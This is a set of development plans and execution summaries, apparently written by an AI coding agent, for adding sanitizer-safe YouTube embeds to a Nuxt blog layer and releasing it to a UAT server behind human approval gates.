+ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
+
+This plan's slice (user decision 1, plan 04): the frontend half of embeds (D-17). The reusable Nuxt blog views layer keeps the editor's markup through its sanitizer, expands the allowlisted embed placeholders into privacy-enhanced YouTube iframes as the last step before v-html, ships as tag v0.2.0, and the site app pins it.
+
+## Revision 2026-10-10 (16.1 drift, CONTEXT D-05 amended)
+
+16.1 replaced the layer's regex gate with sanitize-html 2.18.0 (5beb1c5, decision note `docs/decisions/0001-sanitize-html.md`, tag v0.1.1 at 294a8d8). The layer now never blanks a body: `sanitizeJournalHtml` strips what the policy refuses, `gateJournalHtml` returns `{safe, html}` with `html` always sanitized, and there is no blocked notice. The body is sanitized twice: once in the payload (`toPostView`, the category page) and again at the sink (`JournalPostBody`, `JournalCategoryHeader`). Two consequences for this plan:
+
+- **Order.** Expansion must be the very last step at the sink, after `sanitizeJournalHtml`. Run anywhere earlier, for example in `toPostView`, the sink's sanitizer would strip the iframe again.
+- **Mirror.** The placeholder's `data-embed`/`data-id` (and the editor's `alt` text and `ol start`) are stripped by the mirror today. Amended D-05 extends the Go policy (plan 03) and this mirror with the same four rules, pinned by plan 02's corpus. That is why this plan now waits for plan 02 (wave 2, parallel with plan 03).
+
+The site app pins `#v0.1.1` today, and the layer's package.json version field still reads 0.1.0. Where RESEARCH Pattern 7 says the gate "refuses" a raw iframe, read "strips".
+
+Path note: the site app is the submodule `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app` (its own repository, origin git.golem15.com/golem15/vue-grzybyfunkcjonalne-app, branch main), not a sibling directory. Plan 05 bumps the host's gitlink to the app commit pushed here.
+
+## Spec-less probe fallback
+
+Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
+
+## Decisions recorded here (Claude's discretion)
+
+- Provider allowlist: YouTube only, as one entry in `EMBED_PROVIDERS` (id pattern `^[A-Za-z0-9_-]{11}$`, src `https://www.youtube-nocookie.com/embed/<id>`), matching the editor's table in plan 02.
+- The placeholder is matched exactly as the editor writes it (attribute order data-embed then data-id, empty figure, no caption). Anything else is left as is, so an unknown or malformed placeholder renders as an empty figure.
+- Iframe attributes: `title="YouTube video"`, `loading="lazy"`, `referrerpolicy="strict-origin-when-cross-origin"`, `allow="encrypted-media; picture-in-picture; fullscreen"`, `allowfullscreen`. Since 16.1 the UAT vhost sends a public Content-Security-Policy-Report-Only whose default-src 'self' has no frame-src, so the iframe loads (report-only) but logs a violation; plan 05 adds frame-src https://www.youtube-nocookie.com to that policy in the host repository (RESEARCH Pattern 7's "no CSP" predates 16.1).
+- The layer tag push is a one-way door and gets its own checkpoint here; the summercms tag and the UAT deploy are gated in plan 05.
+- Mirror extension: exactly the four rules plan 03 adds to the Go policy: `figure` `data-embed` `^youtube$` and `data-id` `^[A-Za-z0-9_-]{11}$`, `img` `alt` with any value, and `ol` `start` (`INTEGER`). The corpus copy lives at `tests/fixtures/editor-corpus.json` with a test header comment naming its source; the copy is never edited by hand.
+
+## Artifacts this phase produces (this plan)
+
+- `app/utils/embeds.ts`: `EMBED_PLACEHOLDER` (RegExp), `EMBED_PROVIDERS`, `expandEmbeds(html: string): string`.
+- `app/utils/htmlGate.ts`: `figure` and `ol` entries plus the widened `img` `alt` rule in `ELEMENT_ATTRS` (mirror of the Go extension).
+- `tests/fixtures/editor-corpus.json` (byte copy of plan 02's corpus); corpus, mirror and pipeline cases in `tests/htmlGate.test.ts` and `tests/embeds.test.ts`.
+- `docs/decisions/0001-sanitize-html.md`: the Policy section lists the four editor-output additions.
+- CSS classes `.journal-embed`, `.journal-embed--youtube` in `app/assets/css/journal-base.css`.
+- `tests/embeds.test.ts`; acme fixture post with a placeholder and the matching `testing/expect-acme.txt` line.
+- Layer version 0.2.0 and annotated tag `v0.2.0` on origin.
+- vue-grzybyfunkcjonalne-app main: pin `#v0.2.0` and the updated `pnpm-lock.yaml`.
+
+<objective>
+Mirror the editor-output policy extension in the layer's sanitizer, expand editor embed placeholders as the last step of the post and category sinks (D-17, D-05), release the layer as v0.2.0 and pin it in the site app.
+
+Purpose: grzybyfunkcjonalne.pl shows the YouTube embeds authors add in the Blog Editor, and keeps their alt text and list numbering, while stored HTML still goes through the strict sanitizer.
+Output: the htmlGate.ts mirror and corpus test, embeds.ts with tests and SSR proof, tag v0.2.0, app pin and lockfile.

+```
+
+Existing sanitizer (app/utils/htmlGate.ts, sanitize-html 2.18.0 mirroring the Go bluemonday policy): `sanitizeJournalHtml(html): string` strips what the policy refuses (iframe, script and style with their content; on* attributes; target and rel; URLs other than http, https, mailto and relative; attribute values failing their pattern) and always returns sanitize-html's own serialization; `gateJournalHtml(html) -> { safe, html }` never blanks (`safe` reports whether the policy kept everything); `isSafeJournalHtml(html)`. Policy tables: `GLOBAL_ATTRS`, `ELEMENT_ATTRS` (img alt uses `PARAGRAPH`; no figure or ol entry today), `EMPTY_ATTRS`. Call sites: `toPostView` (app/utils/postView.ts) and app/journal-pages/CategoryPage.vue sanitize the payload; `JournalPostBody` renders `v-html` of `sanitizeJournalHtml(props.html)`; `JournalCategoryHeader` renders `v-html` of `sanitizeJournalHtml(props.category.content)`.
+
+Pipeline after this plan: payload `sanitizeJournalHtml` (placeholder kept) → sink `sanitizeJournalHtml` (placeholder kept) → `expandEmbeds` (last) → `v-html`.

+
+Mirror (D-05 amended): in htmlGate.ts add the same four rules plan 03 adds to the Go policy and nothing else: an ELEMENT_ATTRS entry for figure with data-embed matching ^youtube$ and data-id matching ^[A-Za-z0-9_-]{11}$; an ol entry gaining start (INTEGER) next to type; img alt accepting any value (a new rule constant, documented as the editor's free-text alt; sanitize-html escapes attribute values). Extend the header comment's list of additions. Copy ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json byte for byte to tests/fixtures/editor-corpus.json. In tests/htmlGate.test.ts: every corpus entry is safe under gateJournalHtml; the placeholder is kept by sanitizeJournalHtml applied twice; data-embed other than youtube, a 10- or 12-character id, data-id on div and any other data attribute on figure are still stripped; an iframe is still stripped with its content; ol start="3" kept and start="x" stripped; an alt with a colon, a question mark and quotes kept. Update the Policy section of docs/decisions/0001-sanitize-html.md with the four additions and their reason (the Blog Editor's own output, pinned by the corpus, mirroring the Go policy).
+
+embeds.ts (header comment naming the editor's placeholder and the Go policy as the source of truth, in the htmlGate.ts style): EMBED_PROVIDERS with one entry youtube (id pattern ^[A-Za-z0-9_-]{11}$, src builder on https://www.youtube-nocookie.com/embed/, title "YouTube video"); EMBED_PLACEHOLDER, a global RegExp matching exactly the placeholder in the interfaces block with capture groups for provider and id (attribute values without quotes or angle brackets); expandEmbeds(html) replaces a match only when the provider is in EMBED_PROVIDERS and the id passes its pattern, producing exactly the expansion in the interfaces block; every other match is returned unchanged; empty input returns "". The regex matches the serialization sanitize-html gives the placeholder (attribute order kept, double quotes), because its input is always sanitizer output.
+
+Wiring (order is the point): PostBody.vue computes the rendered HTML as expandEmbeds(sanitizeJournalHtml(props.html)) and CategoryHeader.vue as expandEmbeds(sanitizeJournalHtml(props.category.content)); expansion is the last step before v-html and its output is never sanitized again (sanitize-html would strip the iframe). toPostView and CategoryPage.vue keep only sanitizing (the payload carries the placeholder, not the iframe); do not expand there. Update the components' header comments to say so. journal-base.css adds .journal-embed (block, margin from the existing spacing tokens, aspect-ratio 16 / 9, width 100 percent) and its iframe (width and height 100 percent, border 0).
+
+Fixtures: append the placeholder for id dQw4w9WgXcQ to the content_html of the acme post hello-acme, and add to testing/expect-acme.txt the line "200 /blog/hello-acme contains=https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ" under the single-post block.
+
+Smoke: tests/embeds.test.ts (node:test): the placeholder expands to the exact iframe markup; a 10-character id, an unknown provider and a figure with extra attributes stay unchanged; the composed sink pipeline expandEmbeds(sanitizeJournalHtml(x)) turns a stored placeholder into the iframe but strips a raw iframe in x, so the only iframe in the output is the one built from the placeholder; the payload-then-sink pipeline (sanitize, sanitize, expand) gives the same result; two placeholders in one body both expand; the corpus embed entry expands after sanitizing.
+
+README.md: an "Embeds" section describing the placeholder, the allowlist, the sanitize-first, expand-last order and the CSS classes; the HTML sanitizer bullet names the four editor-output additions.

+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16.2-19 | Tampering (iframe injection) | expandEmbeds | high | mitigate | Exact-markup regex, provider allowlist and an id pattern; the iframe src is built from a fixed host plus the validated id; anything else stays inert; tests cover malformed ids, unknown providers and extra attributes |
+| T-16.2-20 | Elevation of Privilege | sanitize-then-expand order | high | mitigate | sanitizeJournalHtml runs first at each v-html sink and expandEmbeds is the last step, so stored raw iframes are stripped and the only iframe is the one built from a validated placeholder; expansion never happens in a payload transform (acceptance grep); tests compose the sink and the payload-then-sink pipelines |
+| T-16.2-32 | Tampering (stored XSS) / policy drift | htmlGate.ts mirror extension | high | mitigate | Exactly the four editor-output rules the Go policy gains in plan 03, with the same patterns; no iframe, URL scheme, style or other data attribute; every corpus entry (byte copy of plan 02's corpus, compared with cmp here and in the plan 06 gate) is safe, and the negative cases stay stripped |
+| T-16.2-21 | Information Disclosure (visitor privacy) | YouTube frame | low | mitigate | youtube-nocookie.com privacy-enhanced domain, lazy loading, strict-origin-when-cross-origin referrer policy; the site's report-only CSP allows frames only from that host (frame-src, added by plan 05) |
+| T-16.2-22 | Tampering / Repudiation | tag and pushes | medium | mitigate | Clean trees and an absent tag checked at a blocking-human checkpoint; check-git-install proves the published tag; heads recorded in the SUMMARY |
+| T-16.2-SC | Tampering | npm/pnpm installs | high | mitigate | No new package: the layer adds no dependency; the app only changes its pin to the project's own layer tag and regenerates the lockfile with pnpm |

+
+# Phase 16.2 Plan 04: Journal Embeds in the Nuxt Layer Summary
+
+**vue-journal-layer v0.2.0 keeps the Blog Editor's markup through its sanitize-html mirror (four rules matching the Go policy) and expands `<figure data-embed="youtube" data-id="…">` placeholders into youtube-nocookie iframes as the last step before v-html. The tag is published and installs anonymously, and vue-grzybyfunkcjonalne-app main pins it.**
+
+## Performance
+
+- **Duration:** about 50 min over two executor runs. The first run covered Task 1, the release commit and the Task 2 checkpoint (layer commits at 10:19Z). This continuation ran Task 3 from 2026-10-10T11:01:53Z to about 11:08Z.
+- **Started:** about 2026-10-10T10:14Z, after plan 03 closed. The prior run did not record an exact start time.
+- **Completed:** 2026-10-10T11:10Z
+- **Tasks:** 3/3 (Task 1 tracer, Task 2 blocking-human decision, Task 3 release)
+- **Files modified:** 15 (13 in vue-journal-layer, 2 in vue-grzybyfunkcjonalne-app)
+
+## Accomplishments
+
+- **Mirror (D-05 amended).** `htmlGate.ts` gained exactly the four editor-output rules that plan 03 added to the Go bluemonday policy: figure `data-embed` `^youtube$`, figure `data-id` `^[A-Za-z0-9_-]{11}$`, img `alt` free text and ol `start` INTEGER. Every entry of the byte-copied corpus is safe. The Policy section of decision note 0001 lists the four additions.
+- **Embeds (D-17).** `app/utils/embeds.ts` exports `EMBED_PLACEHOLDER`, `EMBED_PROVIDERS` (YouTube only) and `expandEmbeds`. The iframe src is the fixed host `https://www.youtube-nocookie.com/embed/` plus the validated id, and the iframe gets lazy loading, a strict-origin-when-cross-origin referrer policy and a restricted `allow` list.
+- **Order.** `JournalPostBody` and `JournalCategoryHeader` render `expandEmbeds(sanitizeJournalHtml(html))`. `toPostView` and `CategoryPage.vue` only sanitize. A raw iframe in stored HTML is stripped before expansion.
+- **SSR proof.** The acme fixture post `hello-acme` carries a placeholder, and the built playground renders the iframe for it.
+- **Release.** Annotated tag `v0.2.0` is on origin and `check-git-install.sh v0.2.0` passes.
+- **App pin.** The site app pins `#v0.2.0` on its pushed main, with a lockfile that resolves to the tag commit.
+
+## Task Commits
+
+| Task | Name | Repo | Commit |
+|---|---|---|---|
+| 1 | Tracer: a stored placeholder renders as a privacy-enhanced YouTube iframe | vue-journal-layer | `a6ee443` (feat) |
+| 2 | Approve pushing vue-journal-layer v0.2.0 and the site app pin (prep: release commit) | vue-journal-layer | `759e684` (chore: release v0.2.0) |
+| 3 | Push the layer tag, prove the git install, pin v0.2.0 in the site app | vue-grzybyfunkcjonalne-app | `465286a` (chore(deps)) |
+
+Task 3 also created the annotated tag `v0.2.0` (tag object `042b65d072f276f7ee6f1d8bc6f66f518411161e`, peeled commit `759e684e862bd8a2f34e2bbcdf258f66aeddad4f`).
+
+**Pushed heads:**
+- vue-journal-layer `main`: `294a8d8..759e684` (`759e684e862bd8a2f34e2bbcdf258f66aeddad4f`) and tag `v0.2.0`, pushed to git@git.golem15.com:golem15/vue-journal-layer.git.
+- vue-grzybyfunkcjonalne-app `main`: `ada03b2..465286a` (`465286a880f0aae6118c2915aa1475a5da353295`), pushed to git@git.golem15.com:golem15/vue-grzybyfunkcjonalne-app.git.
+
+The summercms.go host gitlink and the sm-grzybyfunkcjonalne-app host gitlink were not touched. Plan 05 bumps them.
+
+## Evidence
+
+**Task 1 (tracer):**
+- `npm test`: 136 pass, 0 fail.
+- `pnpm install --frozen-lockfile` and `build:playground`: OK.
+- `smoke-ssr: ok (29 checks)`, including `200 /blog/hello-acme contains=https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ`.
+- `cmp tests/fixtures/editor-corpus.json ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json`: exit 0.
+- Exactly four mirror rules were added: figure data-embed `^youtube$`, figure data-id `^[A-Za-z0-9_-]{11}$`, img alt FREE_TEXT, ol start INTEGER.
+
+**Task 2 (checkpoint:decision, gate blocking-human):**
+- The verify command printed `push-precheck-ok`.
+- Release sheet:
+  - Layer commits to push: `a6ee443` feat, `759e684` chore: release v0.2.0.
+  - Tag `v0.2.0`, message "v0.2.0: Blog Editor markup kept by the sanitizer; Journal embed placeholders expand into privacy-enhanced YouTube iframes".
+  - App change: pin `#v0.1.1` to `#v0.2.0`, plus the regenerated lockfile.
+  - Rollback: a defect means v0.2.1, and the app pin can go back to `#v0.1.1`.
+- Human reply, verbatim: "push"
+
+**Task 3 (release):**
+- Re-check before tagging: `git ls-remote --tags origin refs/tags/v0.2.0` was empty, the layer and app trees were clean, and neither was behind origin/main.
+- `git ls-remote --tags origin`: `042b65d0… refs/tags/v0.2.0` and `759e684e… refs/tags/v0.2.0^{}`.
+- `bash scripts/check-git-install.sh v0.2.0`: `smoke-ssr: ok (29 checks)`, then `check-git-install: ok v0.2.0 759e684e862bd8a2f34e2bbcdf258f66aeddad4f`.
+- App `pnpm install`: `- vue-journal-layer 0.1.0` / `+ vue-journal-layer 0.2.0`. The lockfile diff only touches the layer's specifier, version and resolution `commit: 759e684e862bd8a2f34e2bbcdf258f66aeddad4f`.
+- App verify (`grep pin && pnpm install --frozen-lockfile && pnpm build && pnpm test && HEAD == origin/main`): `# pass 26`, `# fail 0`, `app-pin-ok`.
+- App `pnpm run smoke:ssr` (extra check): `smoke-ssr: ok (37 checks)`.
+
+## Files Created/Modified
+
+- `../vue-journal-layer/app/utils/embeds.ts`: placeholder RegExp, provider allowlist and `expandEmbeds`.
+- `../vue-journal-layer/app/utils/htmlGate.ts`: figure and ol entries and the widened img alt rule.
+- `../vue-journal-layer/app/components/Journal/PostBody.vue` and `CategoryHeader.vue`: sanitize, then expand, then v-html.
+- `../vue-journal-layer/app/assets/css/journal-base.css`: `.journal-embed` frame at a 16 / 9 aspect ratio.
+- `../vue-journal-layer/tests/embeds.test.ts`, `tests/htmlGate.test.ts` and `tests/fixtures/editor-corpus.json`: transform, pipeline and mirror tests, plus the corpus copy.
+- `../vue-journal-layer/testing/fixtures/acme/posts.json` and `testing/expect-acme.txt`: the SSR fixture and its expectation.
+- `../vue-journal-layer/docs/decisions/0001-sanitize-html.md` and `README.md`: the Policy additions and the Embeds section.
+- `../vue-journal-layer/package.json`: version 0.2.0.
+- `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json` and `pnpm-lock.yaml`: the `#v0.2.0` pin, resolving to 759e684e.
+
+## Decisions Made
+
+- The mirror has exactly four rules, matching the Go policy. The corpus needed no fifth rule.
+- Expansion happens only at the sinks and comes last, so the payload carries the placeholder and never an iframe.
+- The release is a separate commit, and the README install line moves with the version.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 2 - Correctness] README install line bumped with the version**
+- **Found during:** Task 2 (release prep, prior run)
+- **Issue:** The plan's release commit changes only the package.json version, but the README install snippet still pinned `#v0.1.0`. A consumer copying it would install an outdated layer.
+- **Fix:** The release commit also changes the README install line from `#v0.1.0` to `#v0.2.0`.
+- **Files modified:** ../vue-journal-layer/README.md
+- **Committed in:** `759e684` (chore: release v0.2.0)
+
+**2. [Rule 3 - Blocking] check-git-install could not write the shared /tmp pnpm store**
+- **Found during:** Task 3
+- **Issue:** The script's scratch app lives under `$TMPDIR` (/tmp), where pnpm picks the store `/tmp/.pnpm-store/v11`. On this machine another local user (`jin`) owns that store, so `pnpm install` failed with `ERR_SQLITE_ERROR attempt to write a readonly database`. The tag was not the cause.
+- **Fix:** I re-ran the unchanged script with `TMPDIR` and `npm_config_store_dir`/`pnpm_config_store_dir` pointing into the session scratchpad. The script, the tag and the remote were not touched.
+- **Files modified:** none
+- **Verification:** `check-git-install: ok v0.2.0 759e684e862bd8a2f34e2bbcdf258f66aeddad4f`
+
+---
+
+**Total deviations:** 2 (1 correctness, 1 environment blocker).
+**Impact on plan:** No change to the shipped code. The tag was created and pushed exactly as planned, with no moved tag and no force-push.
+
+## Issues Encountered
+
+- On this machine, `scripts/check-git-install.sh` fails under the default `/tmp` because the store there belongs to another user (see deviation 2). This is a machine-local environment issue, not a layer defect. Anyone re-running the script here should set `npm_config_store_dir`, or a `TMPDIR` whose pnpm store they own.
+
+## User Setup Required
+
+None. No external service configuration is required.
+
+## Next Phase Readiness
+
+- Plan 05 can bump the sm-grzybyfunkcjonalne-app host gitlink to app `465286a`. It also needs to add `frame-src https://www.youtube-nocookie.com` to the report-only CSP, then deploy to UAT.
+- The plan 06 phase gate can `cmp` the layer corpus copy against `../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json`.

+This plan's slice (user decision 3, plan 05; the 16.1-02 pattern): release the framework, the plugin and the site, redeploy UAT, and prove on the real imported data that untouched saves are byte-identical and that editing, uploads and embeds work.
+
+## Revision 2026-10-10 (16.1 drift, CONTEXT D-10 amended)
+
+16.1 closed after this plan was written. The release facts below are refreshed: v0.1.17 is taken, so this phase tags v0.1.18 or the next free tag; the plugin head is c60abc6; the layer is at v0.1.1. Posts 53 and 64 were re-saved on UAT, so post 64's content_html no longer has its style block, and the snapshot records its state read-only instead of assuming it. The UAT refusal step is replaced by a strip-and-report step (amended D-10). The public vhost now sends a report-only CSP, so the host commit also allows the youtube-nocookie frame.
+
+Wave order: 01 and 02 (wave 1), 03 and 04 (wave 2; 04 needs plan 02's editor corpus), this plan (wave 3), 06 unit tests (wave 4). CLAUDE.md lean rule 3 keeps the unit-test plan last; as in 16.1 the release does not wait for it, and plan 06's tests ship with the next tag.
+
+## Spec-less probe fallback
+
+Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
+
+## Artifacts this phase produces (this plan)
+
+- summercms annotated tag `v0.1.18` (or the next free `v0.1.x`) on origin.
+- sm-journal-plugin main on origin with `chore(deps): require summercms <tag>`.
+- sm-grzybyfunkcjonalne-app master on origin: journal and vue-grzybyfunkcjonalne-app gitlink bumps, the README admin note, and `frame-src https://www.youtube-nocookie.com` in the staging vhost's report-only CSP (with its check-deploy.sh needle and the DEPLOY.md line).
+- UAT: new binary and Nuxt output, `bin/grzybyfunkcjonalne.prev` and `build/nuxt/.output.prev` kept, both programs restarted.
+- Session values recorded in the SUMMARY: `RELEASE_TAG`, `RESTART_TS`, `HTML_POST`, `POST64_STATE`, the md5 snapshot before the human saves.
+
+<objective>
+Release and redeploy (user decision 3): pass a human release gate, tag summercms, push the plugin and host bumps, build and deploy to uat.grzybyfunkcjonalne.pl per DEPLOY.md, smoke on the server, then accept D-02, D-03, D-05, D-10, D-17, D-18 and D-19 on UAT with human admin actions and read-only checks.
+
+Purpose: the goal is to edit imported posts on UAT (CONTEXT Claude's Discretion: release recommended).
+Output: pushed tag and branches, a running UAT release, a passing on-server smoke and read-only proof of byte-identical untouched saves and working edits.

+Server facts (DEPLOY.md "Server facts", 16.1-02-SUMMARY): ssh alias `grzybyfunkcjonalne-uat`, install root `/srv/grzybyfunkcjonalne`, programs `grzybyfunkcjonalne-go` and `grzybyfunkcjonalne-nuxt`, sudo only for nginx -t, nginx reload and supervisorctl, PostgreSQL reachable by peer psql as the deploy user (database `grzybyfunkcjonalne`), default content locale pl. The UAT realm answers 401 off-server, so every HTTP check runs on the server with curl resolving the host to 127.0.0.1. The host builds the framework from the `../summercms.go` working tree through a replace, so the framework version in the host is nominal; the host bumps are the two gitlinks. Commits: no co-author tags, stage by explicit path.
+
+Release state at planning time (revised 2026-10-10, after 16.1 closed): summercms latest tag v0.1.17 (the 16.1 security release, tag commit c21fe36), so this phase's tag is v0.1.18 unless someone tags first; sm-journal-plugin pre-phase head c60abc6 (go.mod requires v0.1.17 with a replace to ../summercms.go); host sm-grzybyfunkcjonalne-app master 0b93ac2 with journal gitlink c60abc6 and vue-grzybyfunkcjonalne-app gitlink ada03b2; vue-journal-layer v0.1.1 (294a8d8, already ships sanitize-html) before plan 04, and the app pins #v0.1.1. UAT data: posts 53 and 64 were re-saved during 16.1; post 64's content_html no longer holds its style block (the footer CSS moved to the app's base.css, 2c46185).

+Concurrency: in summercms.go `git status --porcelain -- modules admin docs scripts` prints nothing, `git fetch origin --tags`, and `git log --oneline HEAD..origin/master` prints nothing; the same clean and not-behind checks for ../sm-journal-plugin (main) and ../sm-grzybyfunkcjonalne-app (master). If any origin has commits this checkout lacks, stop and report; do not merge or rebase on your own.
+
+Tag: if `git tag --contains` on the first plan 01 commit lists a tag, propose reusing it and cutting none. Otherwise propose the highest of `git tag -l 'v0.1.*' --sort=-v:refname` plus one (v0.1.18 if nobody tagged after v0.1.17) and confirm with `git ls-remote --tags origin` that it does not exist yet.

+
+Host (../sm-grzybyfunkcjonalne-app): in plugins/golem15/journal fetch origin and check out the sm-journal-plugin main just pushed; in vue-grzybyfunkcjonalne-app fetch origin and check out the main plan 04 pushed. In README.md's Admin section add one sentence that Journal post and category content are edited with the Blog Editor (WYSIWYG with a source tab), that saving an untouched post keeps its stored HTML, and that a save removes markup the HTML policy does not allow and names what it removed. Embeds and the public CSP (D-17): the staging vhost's Content-Security-Policy-Report-Only (16.1) has default-src 'self' and no frame-src, so every embed would log a violation and block the later switch to an enforced policy. Add frame-src https://www.youtube-nocookie.com to that policy in deploy/nginx/grzybyfunkcjonalne-staging.conf, add the needle frame-src https://www.youtube-nocookie.com to the vhost checks in scripts/check-deploy.sh, and name it in DEPLOY.md's Security headers bullet. Installing a changed vhost on UAT needs root (16.1 UAT item 1), which the executor does not have: record it in the SUMMARY as a pending human step; it blocks nothing here, because the policy only reports. Commit both gitlinks, README.md and the three deploy files as "chore: bump journal plugin (Blog Editor) and the site app (embeds)" and push origin master.

Smoke with the DEPLOY.md recipe (first verify). On any failure: move bin/grzybyfunkcjonalne.prev and build/nuxt/.output.prev back, restart both programs and report.
+
+Snapshot for Task 3 (read-only): pick HTML_POST as the lowest published post id whose ltrim(content) starts with the less-than character; then run exactly the two SELECTs of Task 3's first two verify commands (same column concatenation, same ORDER BY) and keep their outputs in the session as SNAPSHOT_POSTS and SNAPSHOT_TRANSLATIONS, and in the SUMMARY. Record post 64's current state as POST64_STATE with one more read-only SELECT printing (content LIKE '%<style%')::int || ':' || (content_html LIKE '%<style%')::int for id 64. 16.1 left content_html without the style block (expected x:0); record whatever it prints, and report a 1 in the second position in the SUMMARY instead of treating it as a failure.

(2) Create a post with slug uat-16-2-blog-editor, unpublished: a heading, bold text, a bullet list, a link, a 3x3 table, an image uploaded from the toolbar with alt text containing a colon and a caption, and a YouTube embed from a youtube.com URL; save; no removal notice may appear (D-02, D-05, D-18). (3) Still unpublished, in the source tab of the test post add a harmless style block that colours paragraphs red and an onclick="void 0" attribute on one paragraph, then save (D-10 amended): the save succeeds, a notice under the field names the removed style element and the onclick attribute, and the editor reloads without them. (4) Publish the post for the site check, then reply with what the notice in step 3 said.
+
+After the reply run the verify commands, then tell the human to unpublish or delete the test post. If a check fails, report it and offer the rollback (move bin/grzybyfunkcjonalne.prev and build/nuxt/.output.prev back, restart both programs).</action>

+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| executor → git origin (git.golem15.com) | tags and branches pushed here are read by other repositories |
+| executor → UAT server (ssh) | the release runs next to the live Winter site on the same server |
+| human admin → UAT admin | the only path that writes post data in this plan |
+| server .env files → processes | secrets live only on the server |

+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16.2-23 | Tampering (false-green release) | release gate | medium | mitigate | Task 1 runs vet in both Go repositories, the named cabana smoke set with a counted PASS check, the journal Go and JS tests, TestDocsTree, the admin vitest suite and three drift gates; the Docker-only suites and open high review findings are listed and the human chooses at a blocking-human checkpoint |
+| T-16.2-24 | Tampering / Repudiation | annotated tag and pushes | high | mitigate | Tag only with clean trees and nothing behind origin, re-checked right before the push; git tag --contains decides whether a concurrent release already includes plan 01; the binary's sha256 must equal the local build; the SUMMARY records every pushed head |
+| T-16.2-25 | Information Disclosure | credentials | high | mitigate | No .env is rsynced; the executor never asks for, prints or stores UAT basic-auth or admin credentials; all admin steps are done by the human |
+| T-16.2-26 | Tampering | UAT database and the Winter site | medium | mitigate | The executor runs only SELECT queries; data changes only through human admin saves; the Winter vhost, php-fpm and PHP database are untouched; binary and Nuxt output rollback copies are kept |
+| T-16.2-35 | Tampering | UAT strip check (Task 3 step 3) | low | mitigate | Only harmless markup is added (a red-paragraph style block and onclick="void 0"), on an unpublished test post; the strip is verified read-only before the post is published for the site check; the layer sanitizes again at render; the test post is unpublished or deleted afterwards |
+| T-16.2-27 | Elevation of Privilege | sudo on the server | low | accept | sudo is limited by the server to nginx -t, nginx reload and supervisorctl; this plan uses supervisorctl restart, status and tail only |
+| T-16.2-SC | Tampering | packages | high | mitigate | No package is installed: build.sh builds from committed lockfiles and go.sum (pnpm install --frozen-lockfile for the app, which pins vue-journal-layer v0.2.0 from plan 04); go mod edit changes only the nominal summercms require |

+# Phase 16.2 Plan 05: Release and UAT Acceptance of the Blog Editor Summary
+
+**summercms v0.1.18, sm-journal-plugin 9d5bfc4 and host 6f4f222 are released to UAT. The build there matches the local sha256, and the on-server smoke passes on 98 URLs. On real data, an untouched save of post 64 is byte-identical. A Blog Editor test post stores identical content and content_html with an uploaded figure and a YouTube embed, the embed renders as a youtube-nocookie iframe on the site, and markup that was not allowed was stripped on save. The untouched save of HTML post 1 has no database evidence yet, and the D-19 category check is still open.**
+
+## Performance
+
+- **Duration:** about 25 min of executor time across three runs, plus the human session.
+- **Started:** about 2026-10-10T11:10Z, after plan 04 closed.
+- **Completed:** 2026-10-10T11:36Z
+- **Tasks:** 3/3 (Task 1 blocking-human decision, Task 2 tracer, Task 3 blocking-human human-action)
+- **Files modified:** 7 across sm-journal-plugin and sm-grzybyfunkcjonalne-app. summercms.go got only the tag.
+
+## Release Sheet (Task 1)
+
+- **Gate:** the Task 1 verify printed `release-gate-ok`. It covered vet in both Go repositories, the six-test cabana smoke set, the journal classes and controllers tests, TestDocsTree, the admin vitest suite, the admin dist and OpenAPI drift gates, the journal vitest suite and the journal dist gate. All three repositories were clean and not behind origin.
+- **Tag:** `v0.1.18`. v0.1.17 was the latest tag, and v0.1.18 did not exist on origin.
+- **Commits pushed per repository:**
+  - summercms.go master `c21fe36..f1d8a75` (19 commits, including planning docs).
+  - sm-journal-plugin main `c60abc6..9d5bfc4` (9 commits: plans 02 and 03, plus the go.mod bump).
+  - Host master `0b93ac2..6f4f222`.
+- **UAT D-07 split (read-only SELECT):** 102 posts whose content starts with `<` and are served as content, and 3 markdown posts served as content_html. Re-read after Task 3, so the count includes test post 105. Before the test post it was 101:3.
+- **Suites not run here (Docker host needed):**
+  - The modules/cabana testcontainers suites.
+  - The sm-journal-plugin root harness: TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML and TestCategoriesAdminContent.
+  - ./models.
+  - These are WINDOWS.md entries 14 to 16, which go to plan 06.
+- **Review findings:** neither 16.2-REVIEW.md nor 16.2-SECURITY.md exists, so there are no open high findings.
+- **Human reply, verbatim:** "release v0.1.18" (release-now).
+
+## Task Commits
+
+| Task | Name | Repo | Commit |
+|---|---|---|---|
+| 1 | Release gate | (none) | release-gate-ok, no commit |
+| 2 | Tag summercms | summercms.go | annotated tag `v0.1.18` (object `04dc5bdabecd95a58b5b7d3a02ed465a45fbc99a`, commit `f1d8a757fd5c1174f7f1959779602e2ad11b0de2`) |
+| 2 | Require summercms v0.1.18 | sm-journal-plugin | `9d5bfc4` chore(deps): require summercms v0.1.18 |
+| 2 | Bump gitlinks, README note, CSP frame-src | sm-grzybyfunkcjonalne-app | `6f4f222` chore: bump journal plugin (Blog Editor) and the site app (embeds) |
+| 3 | UAT acceptance (read-only checks) | (none) | no commit |
+
+**Pushed heads:**
+- summercms.go master `f1d8a75`, plus tag `v0.1.18`.
+- sm-journal-plugin main `9d5bfc4a3597be8ba4abee26d80dc2b81d343da8`.
